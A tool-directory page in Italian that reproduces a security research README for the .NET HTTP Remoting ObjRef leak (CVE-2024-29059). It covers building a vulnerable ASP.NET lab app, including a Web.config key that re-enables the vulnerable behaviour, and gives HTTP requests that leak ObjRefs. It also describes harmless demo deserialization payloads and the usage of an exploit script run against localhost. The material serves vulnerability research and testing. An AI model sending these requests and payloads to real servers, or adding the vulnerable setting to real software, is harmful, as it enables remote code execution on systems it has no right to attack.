Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
HttpRemotingObjRefLeak — Risorse aggiuntive per il leak e lo sfruttamento di ObjRefs tramite HTTP .NET Remoting (CVE-2024-29059) | Kitploit
Strumenti/GitHubGitHub/codewhitesec/httpremotingobjrefleak
Analisi delle VulnerabilitàAnalisi del CodiceExploitSfruttamento di Applicazioni WebPenetration TestingRed TeamingSviluppo Payload
GitHubcodewhitesec/httpremotingobjrefleak

HttpRemotingObjRefLeak

Risorse aggiuntive per il leak e lo sfruttamento di ObjRefs tramite HTTP .NET Remoting (CVE-2024-29059)

Vedi RepositorySito web
9214152 anni faRevisionato da Kitploit

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

Fuga e sfruttamento di ObjRef tramite HTTP .NET Remoting (CVE-2024-29059)

Questo repository fornisce ulteriori dettagli e risorse sul post del blog CODE WHITE dal titolo Leaking ObjRefs to Exploit HTTP .NET Remoting:

  1. Creazione di un'applicazione web ASP.NET vulnerabile
  2. Rilevamento di fughe di ObjRef
  3. Payload di deserializzazione di esempio che funzionano sotto le restrizioni di TypeFilterLevel.Low
  4. Script di exploit per la consegna dei payload

1. Creazione di un'applicazione web ASP.NET vulnerabile

Quanto segue è basato su Configure Application Insights for your ASP.NET website di Microsoft e descrive come creare un'applicazione web ASP.NET vulnerabile con Visual Studio 2019 (necessario per targetizzare .NET Framework 4.5.2, è ancora possibile scaricarlo da https://aka.ms/vs/16/release/vs_community.exe) e Microsoft Application Insights:

  1. Aprire Visual Studio 2019.
  2. Selezionare File > Nuovo > Progetto.
  3. Selezionare Applicazione Web ASP.NET (.NET Framework) C#, quindi Avanti.
  4. Selezionare .NET Framework 4.5.2, quindi Crea.
  5. Selezionare Vuoto, quindi Crea.
  6. Selezionare Progetto > Aggiungi telemetria di Application Insights.
  7. Selezionare Application Insights SDK (locale), quindi Avanti.
  8. Selezionare Pacchetti NuGet, quindi fare clic su Fine.

Se gli aggiornamenti di .NET Framework di gennaio 2024 sono installati, aprire il file Web.config e aggiungere quanto segue sotto /configuration/appSettings per riattivare il comportamento vulnerabile:

root@kitploit:~
<add key="microsoft:Remoting:LateHttpHeaderParsing" value="true" />

È quindi possibile eseguire l'applicazione web tramite Debug > Avvia senza debug oppure premendo Ctrl+F5.

2. Rilevamento di fughe di ObjRef

È possibile utilizzare le seguenti richieste per far fuoriuscire ObjRef di istanze MarshalByRefObject memorizzate nel LogicalCallContext:

  • BinaryServerFormatterSink:

    root@kitploit:~
    GET /RemoteApplicationMetadata.rem?wsdl HTTP/1.0
    __RequestVerb: POST
    Content-Type: application/octet-stream
    
  • SoapServerFormatterSink:

    root@kitploit:~
    GET /RemoteApplicationMetadata.rem?wsdl HTTP/1.0
    __RequestVerb: POST
    Content-Type: text/xml
    

Gli URI di ObjRef fuoriusciti possono quindi essere individuati usando la seguente regex:

root@kitploit:~
/[0-9a-f_]+/[0-9A-Za-z_+]+_\d+\.rem

3. Payload di deserializzazione di esempio

Abbiamo creato due semplici payload di deserializzazione basati sul gadget TextFormattingRunProperties di YSoSerial.Net con payload XAML personalizzati che funzionano sotto le restrizioni imposte da TypeFilterLevel.Low per eseguire le seguenti operazioni:

  • HttpContext.Current.Response.AddHeader("Set-Cookie", "x=ad92afb4-00c3-4479-bab8-2425b5716081")
  • HttpContext.Current.Response.RedirectLocation = "/ad92afb4-00c3-4479-bab8-2425b5716081"

Gli header HTTP possono essere osservati nella risposta del server alla richiesta HTTP .NET Remoting.

4. Script di exploit

Lo script RemoteApplicationMetadata.py fornisce un modo per far fuoriuscire un ObjRef esistente e quindi utilizzarlo in una richiesta successiva per consegnare un payload specificato:

root@kitploit:~
usage: RemoteApplicationMetadata.py [-h] [-c] [--chunk-range CHUNK_RANGE] [-e] [-f {binary,soap}] [-u] [-v] url [file]

positional arguments:
  url                   target URL (without `RemoteApplicationMetadata.rem`)
  file                  BinaryFormatter/SoapFormatter payload file (default: stdin)

options:
  -h, --help            show this help message and exit
  -c, --chunked         use chunked Transfer-Encoding for request
  --chunk-range CHUNK_RANGE
                        range to pick the chunk size from randomly, e. g., 1-10
  -e, --encoding        apply a random non ASCII-based encoding on SOAP
  -f {binary,soap}, --format {binary,soap}
                        targeted runtime serializer format (default: soap)
  -u, --use-generic-uri
                        use the generic `RemoteApplicationMetadata.rem` also for the payload delivery request
  -v, --verbose         print verbose info

Esempio:

root@kitploit:~
./RemoteApplicationMetadata.py -f binary https://127.0.0.1:44365 AddHeader.bin -u -v
Scarica lo strumento